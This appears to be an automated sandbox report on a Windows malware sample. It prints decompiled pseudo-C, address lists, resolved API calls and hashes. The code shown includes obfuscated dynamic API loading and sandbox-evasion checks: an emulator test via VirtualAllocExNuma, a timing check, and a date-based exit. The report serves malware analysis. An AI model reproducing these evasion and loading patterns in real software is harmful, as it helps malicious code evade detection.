					_t315 =  *0x41a97c; // 0x747d0000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x768078
					_t224 =  *0x41aa88; // 0x6ec60000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(74DF0000,00767880), ref: 0040C4BD
GetProcAddress.KERNEL32(74DF0000,00767940), ref: 0040C4D5
GetProcAddress.KERNEL32(74DF0000,00765318), ref: 0040C4EE
GetProcAddress.KERNEL32(74DF0000,007678B0), ref: 0040C506
GetProcAddress.KERNEL32(74DF0000,00767910), ref: 0040C51E
GetProcAddress.KERNEL32(74DF0000,00767970), ref: 0040C537
GetProcAddress.KERNEL32(74DF0000,00767A18), ref: 0040C54F
GetProcAddress.KERNEL32(74DF0000,00767820), ref: 0040C567
GetProcAddress.KERNEL32(74DF0000,00767838), ref: 0040C580
GetProcAddress.KERNEL32(74DF0000,00767A48), ref: 0040C598
GetProcAddress.KERNEL32(74DF0000,00767A60), ref: 0040C5B0
GetProcAddress.KERNEL32(74DF0000,00767850), ref: 0040C5C9
GetProcAddress.KERNEL32(74DF0000,00767A78), ref: 0040C5E1
GetProcAddress.KERNEL32(74DF0000,007653D8), ref: 0040C5F9
GetProcAddress.KERNEL32(74DF0000,00767B38), ref: 0040C612
GetProcAddress.KERNEL32(74DF0000,00765578), ref: 0040C62A
GetProcAddress.KERNEL32(74DF0000,00767388), ref: 0040C642
GetProcAddress.KERNEL32(74DF0000,00767B50), ref: 0040C65B
GetProcAddress.KERNEL32(74DF0000,00765418), ref: 0040C673
GetProcAddress.KERNEL32(74DF0000,00767B20), ref: 0040C68B
GetProcAddress.KERNEL32(74DF0000,00765438), ref: 0040C6A4
GetProcAddress.KERNEL32(74DF0000,00767BC8), ref: 0040C6BC
GetProcAddress.KERNEL32(74DF0000,00767B80), ref: 0040C6D4
GetProcAddress.KERNEL32(74DF0000,00767B68), ref: 0040C6ED
GetProcAddress.KERNEL32(74DF0000,00767B98), ref: 0040C705
GetProcAddress.KERNEL32(74DF0000,00764FD8), ref: 0040C71D
GetProcAddress.KERNEL32(74DF0000,00767BE0), ref: 0040C736
GetProcAddress.KERNEL32(74DF0000,00767BB0), ref: 0040C74E
GetProcAddress.KERNEL32(74DF0000,00767E50), ref: 0040C766
GetProcAddress.KERNEL32(74DF0000,00764E58), ref: 0040C77F
GetProcAddress.KERNEL32(74DF0000,00767DD8), ref: 0040C797
GetProcAddress.KERNEL32(74DF0000,00767DF0), ref: 0040C7AF
GetProcAddress.KERNEL32(74DF0000,00767CE8), ref: 0040C7C8
GetProcAddress.KERNEL32(74DF0000,00767C28), ref: 0040C7E0
GetProcAddress.KERNEL32(74DF0000,00767EF8), ref: 0040C7F8
GetProcAddress.KERNEL32(74DF0000,00765018), ref: 0040C811
GetProcAddress.KERNEL32(74DF0000,00765118), ref: 0040C829
GetProcAddress.KERNEL32(74DF0000,00767E08), ref: 0040C841
GetProcAddress.KERNEL32(74DF0000,00767E38), ref: 0040C85A
GetProcAddress.KERNEL32(74DF0000,00765158), ref: 0040C872
GetProcAddress.KERNEL32(74DF0000,00767400), ref: 0040C88A
GetProcAddress.KERNEL32(74DF0000,00767E20), ref: 0040C8A3
GetProcAddress.KERNEL32(74DF0000,00767D00), ref: 0040C8BB
GetProcAddress.KERNEL32(74DF0000,00764F78), ref: 0040C8D3
GetProcAddress.KERNEL32(74DF0000,00765058), ref: 0040C8EC
GetProcAddress.KERNEL32(74DF0000,00765078), ref: 0040C904
GetProcAddress.KERNEL32(74DF0000,00767C58), ref: 0040C91C
GetProcAddress.KERNEL32(74DF0000,00765198), ref: 0040C935
GetProcAddress.KERNEL32(74DF0000,00767C40), ref: 0040C94D
GetProcAddress.KERNEL32(74DF0000,007651B8), ref: 0040C965
GetProcAddress.KERNEL32(74DF0000,007651D8), ref: 0040C97E
GetProcAddress.KERNEL32(74DF0000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(74DF0000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(74DF0000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(74DF0000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(74DF0000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(007678C8,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(00767868,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNELBASE(007679B8,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(007679A0,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(00767898,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(00767AC0,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(007679E8,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(00767958,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(007678F8,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(007679D0,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(00767AD8,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(00767AF0,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(00767A00,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(775E0000,00765B30), ref: 0040CAF6
GetProcAddress.KERNEL32(775E0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(775E0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6FC20000,00767D18), ref: 0040CB49
GetProcAddress.KERNEL32(6FC20000,00764FB8), ref: 0040CB61
GetProcAddress.KERNEL32(6FC20000,007651F8), ref: 0040CB79
GetProcAddress.KERNEL32(6FC20000,00765218), ref: 0040CB92
GetProcAddress.KERNEL32(6FC20000,00767CD0), ref: 0040CBAA
GetProcAddress.KERNEL32(6FC20000,00765178), ref: 0040CBC2
GetProcAddress.KERNEL32(6FC20000,00764E38), ref: 0040CBDB
GetProcAddress.KERNEL32(6FC20000,00764E98), ref: 0040CBF3
GetProcAddress.KERNEL32(6FC20000,007650B8), ref: 0040CC0B
GetProcAddress.KERNEL32(6FC20000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(768F0000,00767DC0), ref: 0040CC47
GetProcAddress.KERNEL32(768F0000,00767DA8), ref: 0040CC60
GetProcAddress.KERNEL32(768F0000,00765138), ref: 0040CC78
GetProcAddress.KERNEL32(768F0000,00764E78), ref: 0040CC90
GetProcAddress.KERNEL32(768F0000,00767D30), ref: 0040CCA9
GetProcAddress.KERNEL32(768F0000,00765A90), ref: 0040CCC1
GetProcAddress.KERNEL32(768F0000,00764FF8), ref: 0040CCD9
GetProcAddress.KERNEL32(768F0000,00764EB8), ref: 0040CCF2
GetProcAddress.KERNEL32(768F0000,00767D48), ref: 0040CD0A
GetProcAddress.KERNEL32(768F0000,00767CA0), ref: 0040CD22
GetProcAddress.KERNEL32(768F0000,00767E80), ref: 0040CD3B
GetProcAddress.KERNEL32(74B40000,00767CB8), ref: 0040CD60
GetProcAddress.KERNEL32(74B40000,00764ED8), ref: 0040CD78
GetProcAddress.KERNEL32(74B40000,00767EE0), ref: 0040CD91
GetProcAddress.KERNEL32(74B40000,00764EF8), ref: 0040CDA9
GetProcAddress.KERNEL32(74B40000,00767D78), ref: 0040CDC1
GetProcAddress.KERNEL32(74B40000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76B90000,00767D60), ref: 0040CDFD
GetProcAddress.KERNEL32(76B90000,00767E98), ref: 0040CE16
GetProcAddress.KERNEL32(76B90000,007650D8), ref: 0040CE2E
GetProcAddress.KERNEL32(76B90000,00764F18), ref: 0040CE46
GetProcAddress.KERNEL32(76B90000,00767D90), ref: 0040CE5F
GetProcAddress.KERNEL32(76B90000,00765C30), ref: 0040CE77
GetProcAddress.KERNEL32(76B90000,00767E68), ref: 0040CE8F
GetProcAddress.KERNEL32(76B90000,00767EB0), ref: 0040CEA8
GetProcAddress.KERNEL32(76B90000,00767C88), ref: 0040CEC0
GetProcAddress.KERNEL32(76B90000,00767EC8), ref: 0040CED8
GetProcAddress.KERNEL32(76B90000,00765AB0), ref: 0040CEF1
GetProcAddress.KERNEL32(76B90000,00765038), ref: 0040CF09
GetProcAddress.KERNEL32(76B90000,00767F10), ref: 0040CF21
GetProcAddress.KERNEL32(76B90000,00767C70), ref: 0040CF3A
GetProcAddress.KERNELBASE(6F2A0000,00765FF8), ref: 0040CF5B
GetProcAddress.KERNEL32(768E0000,00764F38), ref: 0040CF7C
GetProcAddress.KERNEL32(749A0000,00765098), ref: 0040CF9E
GetProcAddress.KERNEL32(73DA0000,00767158), ref: 0040CFC3
GetProcAddress.KERNEL32(73DA0000,00764F58), ref: 0040CFDB
GetProcAddress.KERNEL32(73DA0000,00767068), ref: 0040CFF4
GetProcAddress.KERNEL32(73DA0000,007650F8), ref: 0040D00C
GetProcAddress.KERNEL32(73DA0000,00767180), ref: 0040D024
GetProcAddress.KERNEL32(73DA0000,00768000), ref: 0040D03D
GetProcAddress.KERNEL32(6EC20000,00768030), ref: 0040D062
GetProcAddress.KERNEL32(6EC20000,00767F28), ref: 0040D07A
GetProcAddress.KERNEL32(6EC20000,00764F98), ref: 0040D093
GetProcAddress.KERNEL32(6EC20000,0074A858), ref: 0040D0AB
GetProcAddress.KERNEL32(6EC20000,00768830), ref: 0040D0C3
GetProcAddress.KERNEL32(6EC20000,00768150), ref: 0040D0DC
GetProcAddress.KERNEL32(76720000,007680F0), ref: 0040D0FD
GetProcAddress.KERNEL32(76720000,00765B70), ref: 0040D115
GetProcAddress.KERNEL32(76720000,00768180), ref: 0040D12E
GetProcAddress.KERNEL32(75390000,007688B0), ref: 0040D14F
GetProcAddress.KERNEL32(75390000,007680A8), ref: 0040D167
GetProcAddress.KERNEL32(73660000,00767248), ref: 0040D18D
GetProcAddress.KERNEL32(73660000,00768BD0), ref: 0040D1A5
GetProcAddress.KERNEL32(73660000,00767360), ref: 0040D1BD
GetProcAddress.KERNEL32(73660000,00768198), ref: 0040D1D6
GetProcAddress.KERNEL32(73660000,007680C0), ref: 0040D1EE
GetProcAddress.KERNEL32(73660000,00768B10), ref: 0040D206
GetProcAddress.KERNEL32(73660000,007688F0), ref: 0040D21F
GetProcAddress.KERNEL32(73660000,00768090), ref: 0040D237
GetProcAddress.KERNEL32(747D0000,00768850), ref: 0040D258
GetProcAddress.KERNEL32(747D0000,00768A30), ref: 0040D271
GetProcAddress.KERNEL32(6EC60000,00768078), ref: 0040D292

Strings

8Tv, xrefs: 0040C696
Xyv, xrefs: 0040CA76
h{v, xrefs: 0040C6DF
memcpy, xrefs: 0040CB18
`sv, xrefs: 0040D1B0
{v, xrefs: 0040C728
8Ov, xrefs: 0040CF6F
xNv, xrefs: 0040CC83
P~v, xrefs: 0040C759
GetEnvironmentVariableA, xrefs: 0040C99F
0}v, xrefs: 0040CC9B
xzv, xrefs: 0040C5D4
~v, xrefs: 0040C895
yv, xrefs: 0040CA64
XPv, xrefs: 0040C8DE
h~v, xrefs: 0040CE82
memset, xrefs: 0040CB01
8Nv, xrefs: 0040CBCD
@|v, xrefs: 0040C940
RegGetValueA, xrefs: 0040CDCC
CreateThread, xrefs: 0040C989
`zv, xrefs: 0040C5A3
@yv, xrefs: 0040C4C8
0\v, xrefs: 0040CE6A
Xqv, xrefs: 0040CFB6
hxv, xrefs: 0040CA0C
8Pv, xrefs: 0040CEFC
xQv, xrefs: 0040CBB5
~v, xrefs: 0040CD83
XOv, xrefs: 0040CFCE
(|v, xrefs: 0040C7D3
pyv, xrefs: 0040C529
lstrcpyA, xrefs: 0040C9CD
xv, xrefs: 0040C55A
SetEnvironmentVariableA, xrefs: 0040C9B6
Hrv, xrefs: 0040D17F
xUv, xrefs: 0040C61D
`}v, xrefs: 0040CDF0
p|v, xrefs: 0040CF2C
InternetCrackUrlA, xrefs: 0040CC16
xOv, xrefs: 0040C8C6
Hzv, xrefs: 0040C58B
P{v, xrefs: 0040C64D
X|v, xrefs: 0040C90F
xPv, xrefs: 0040C8F7
p[v, xrefs: 0040D108
8xv, xrefs: 0040C572
8Qv, xrefs: 0040CC6B
lstrcpynA, xrefs: 0040C9E3
8~v, xrefs: 0040C84C
0[v, xrefs: 0040CAE9
XQv, xrefs: 0040C865
XNv, xrefs: 0040C771
8{v, xrefs: 0040C604
Pxv, xrefs: 0040C5BB
x}v, xrefs: 0040CDB4
{v, xrefs: 0040C67E
hpv, xrefs: 0040CFE6
|v, xrefs: 0040C7BA
H}v, xrefs: 0040CCFD

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: xv$ {v$ ~v$(|v$0[v$0\v$0}v$8Nv$8Ov$8Pv$8Qv$8Tv$8xv$8{v$8~v$@yv$@|v$CreateThread$GetEnvironmentVariableA$Hrv$Hzv$H}v$InternetCrackUrlA$Pxv$P{v$P~v$RegGetValueA$SetEnvironmentVariableA$XNv$XOv$XPv$XQv$Xqv$Xyv$X|v$`sv$`zv$`}v$hpv$hxv$h{v$h~v$lstrcpyA$lstrcpynA$memcpy$memset$p[v$pyv$p|v$xNv$xOv$xPv$xQv$xUv$xzv$x}v$yv${v$|v$~v
API String ID: 2238633743-4185218899
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 0057003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0057024D

Strings

cess, xrefs: 0057018D
kernel32.dll, xrefs: 0057008F, 00570095

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 5717669d84d0f16537956db11d4a14b339c3acd7db5cc17d71a7594dd72e90b7
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 2A526974A01229DFDB64CF58D985BA8BBB1BF09304F1480D9E94DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x765338
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x7653b8
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00765338), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

8Sv, xrefs: 00406977

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 8Sv
API String ID: 2797641603-4257855396
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00750DC0), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0074EC60), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0074A7D8), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00750CB8), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00750B68), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00750D00), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00750CD0), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00750BE0), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0074A818), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,0074A838), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00750B80,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNELBASE(00750C70,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74B40000,00750B08), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

